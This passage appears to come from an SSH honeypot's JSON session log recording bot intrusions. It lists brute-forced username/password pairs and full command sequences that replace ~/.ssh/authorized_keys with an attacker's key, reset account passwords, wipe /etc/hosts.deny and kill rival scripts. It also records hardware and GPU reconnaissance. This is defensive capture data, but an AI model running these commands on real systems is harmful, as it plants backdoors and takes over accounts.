opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ea818616-d2a8-4cd7-901a-7305a3d3161f","name":"tidal-fickle-flamingo","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":37178,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:49:05.058938+00:00","ended_at":"2026-08-27T13:49:06.283946+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1a40f507-b172-4cf9-b40e-fffb05055beb","name":"gloomy-snowy-ferret","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":50066,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":187,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T13:48:47.561581+00:00","ended_at":"2026-08-27T13:48:47.656051+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":737,"events":[{"seq":1,"at":"2026-08-27T13:48:45.706054+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T13:48:46.426023+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T13:48:46.612725+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T13:48:46.613328+00:00","kind":"output","latency_ms":null,"data":" 13:48:46 up 7 days, 10:38, 0 user, load average: 0.15, 0.13, 0.1"},{"seq":5,"at":"2026-08-27T13:48:46.799864+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T13:48:46.800627+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T13:48:46.987452+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T13:48:46.987831+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T13:48:47.175209+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T13:48:47.176249+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T13:48:47.364547+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T13:48:47.365227+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T13:48:47.562499+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T13:48:47.562827+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"root","password":"Huawei@123","method":"password","accepted":true,"tier":"other"}]} {"id":"3fd7cb29-d2f9-4c71-869f-a979211ddcc8","name":"tender-solar-yak","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":46622,"username":"user10","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:48:45.407309+00:00","ended_at":"2026-08-27T13:48:46.888457+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user10","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ad7d55e0-696c-4be4-855f-605892ba80a6","name":"hazy-hearty-peccary","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":45726,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:48:42.002055+00:00","ended_at":"2026-08-27T13:48:43.752645+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5f740495-648d-4960-a604-7370de3c5345","name":"sleepy-merry-curlew","protocol":"ssh","channel_kind":null,"src_ip":"2.57.121.112","src_port":21998,"username":"christofer","client_version":"SSH-2.0-PuTTY_Release_0.84","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:47:56.867888+00:00","ended_at":"2026-08-27T13:47:57.265263+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"christofer","password":"christofer","method":"password","accepted":true,"tier":"other"}]} {"id":"fd0e2781-f91d-49c5-812e-65104e405e6f","name":"barren-vaulted-cardinal","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":44270,"username":"jason","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":484,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:47:42.693713+00:00","ended_at":"2026-08-27T13:47:43.374431+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2050,"events":[{"seq":1,"at":"2026-08-27T13:47:28.412919+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:47:28.792248+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:47:33.638953+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:47:33.639783+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:47:34.021216+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nsWE1uXH2myTY\\nsWE1uXH2myTY\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:47:34.398654+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nsWE1uXH2myTY\\nsWE1uXH2myTY\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:47:34.774607+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:47:34.774948+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:47:35.511488+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:47:36.081879+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:47:36.462716+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:47:37.037047+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:47:37.423134+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:47:37.423803+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:47:37.805221+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:47:37.805741+00:00","kind":"output","latency_ms":null,"data":" 13:47:37 up 7 days, 10:37, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:47:38.620317+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:47:38.620912+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:47:39.226563+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:47:39.228340+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:47:39.819002+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:47:39.820285+00:00","kind":"output","latency_ms":null,"data":"top - 13:47:39 up 7 days, 10:37, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:47:40.302232+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:47:40.302805+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:47:40.786761+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:47:40.787418+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:47:41.164223+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:47:41.164863+00:00","kind":"output","latency_ms":null,"data":"jason"},{"seq":29,"at":"2026-08-27T13:47:41.649920+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:47:42.173833+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:47:42.696010+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:47:43.260047+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"jason","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"8c811e63-4630-436e-a585-f09230d41215","name":"emerald-daring-tern","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":48476,"username":"jason","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:47:31.959720+00:00","ended_at":"2026-08-27T13:47:33.524254+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"jason","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f96f3c37-d009-42e6-8e59-fbc774162407","name":"feathered-tawny-quokka","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":46682,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:47:29.579054+00:00","ended_at":"2026-08-27T13:47:31.200779+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4f0679fd-0de7-4821-8a97-c666f6559bf6","name":"placid-smooth-ibex","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":48974,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":833,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:47:13.006250+00:00","ended_at":"2026-08-27T13:47:14.698382+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2128,"events":[{"seq":1,"at":"2026-08-27T13:46:45.741806+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:46:46.572764+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:46:52.629373+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:46:52.921692+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:46:53.758102+00:00","kind":"input","latency_ms":null,"data":"echo \"root:KtYXBeqdOy6W\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:46:54.585499+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:46:55.418123+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:46:56.156605+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:46:56.988200+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:46:58.027498+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:46:58.873033+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:47:00.146329+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:47:00.984066+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:47:01.285932+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:47:02.120090+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:47:02.488893+00:00","kind":"output","latency_ms":null,"data":" 13:47:02 up 7 days, 10:37, 0 user, load average: 0.32, 0.28, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:47:03.320243+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:47:03.573462+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:47:04.407245+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:47:04.822712+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:47:05.656861+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:47:05.975918+00:00","kind":"output","latency_ms":null,"data":"top - 13:47:05 up 7 days, 10:37, 0 user, load average: 0.32, 0.28, 0.23\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:47:06.812540+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:47:07.699327+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:47:08.533179+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:47:09.183312+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:47:10.016408+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:47:10.357791+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:47:11.192793+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:47:12.174366+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:47:13.007007+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:47:14.429956+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qaz1wsx2","method":"password","accepted":true,"tier":"other"}]} {"id":"504796be-5d22-4b06-8aae-695833d3fdac","name":"orderly-upland-polecat","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":50482,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:46:51.074859+00:00","ended_at":"2026-08-27T13:46:52.350705+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1c8804bc-4d51-459c-84ea-b29e36170386","name":"cobalt-ashen-catbird","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":49844,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:46:48.506330+00:00","ended_at":"2026-08-27T13:46:49.415244+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"bbab5769-4059-4800-8671-673025db69b4","name":"gallant-jaunty-marmot","protocol":"ssh","channel_kind":null,"src_ip":"23.175.50.52","src_port":64433,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:46:42.901295+00:00","ended_at":"2026-08-27T13:47:10.591420+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"c1d61d73-1b49-4235-b367-8e10e936e78b","name":"fringed-granite-flamingo","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":55924,"username":"sammy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":449,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:46:10.305836+00:00","ended_at":"2026-08-27T13:46:11.078524+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2047,"events":[{"seq":1,"at":"2026-08-27T13:45:55.686267+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:45:56.065118+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:46:00.183882+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:46:00.184209+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:46:00.537306+00:00","kind":"input","latency_ms":null,"data":"echo -e \"sammy123!\\nwFzgZHEKYTak\\nwFzgZHEKYTak\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:46:01.093753+00:00","kind":"input","latency_ms":null,"data":"echo \"sammy123!\\nwFzgZHEKYTak\\nwFzgZHEKYTak\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:46:01.720113+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T13:46:01.825415+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T13:46:01.825964+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T13:46:02.626016+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T13:46:03.353021+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T13:46:03.797756+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T13:46:04.403944+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T13:46:04.955059+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:46:04.955579+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T13:46:05.395596+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T13:46:05.396179+00:00","kind":"output","latency_ms":null,"data":" 13:46:05 up 7 days, 10:36, 0 user, load average: 0.28, 0.2, 0.32\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T13:46:05.843449+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T13:46:05.844044+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T13:46:06.417472+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T13:46:06.419336+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T13:46:06.866791+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T13:46:06.867296+00:00","kind":"output","latency_ms":null,"data":"top - 13:46:06 up 7 days, 10:36, 0 user, load average: 0.28, 0.2, 0.32\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T13:46:07.472433+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T13:46:07.472907+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T13:46:07.920035+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T13:46:07.920437+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T13:46:08.368750+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T13:46:08.369418+00:00","kind":"output","latency_ms":null,"data":"sammy"},{"seq":30,"at":"2026-08-27T13:46:08.993561+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T13:46:09.592838+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T13:46:10.306531+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T13:46:10.839756+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sammy","password":"sammy123!","method":"password","accepted":true,"tier":"other"}]} {"id":"7d61eacf-3d96-430d-9c4c-c22d310e8623","name":"steady-dusty-camel","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":59130,"username":"sammy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:45:59.139886+00:00","ended_at":"2026-08-27T13:46:00.079330+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"sammy","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"dde1600a-ff14-4666-ab36-853efe9c1d17","name":"misty-vivid-sloth","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":57442,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:45:56.890475+00:00","ended_at":"2026-08-27T13:45:58.426043+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"be430fc9-3418-4120-a9a2-95dfd66d578f","name":"glassy-languid-raven","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":53042,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":837,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:45:26.904360+00:00","ended_at":"2026-08-27T13:45:28.490199+00:00","ended_reason":"exec 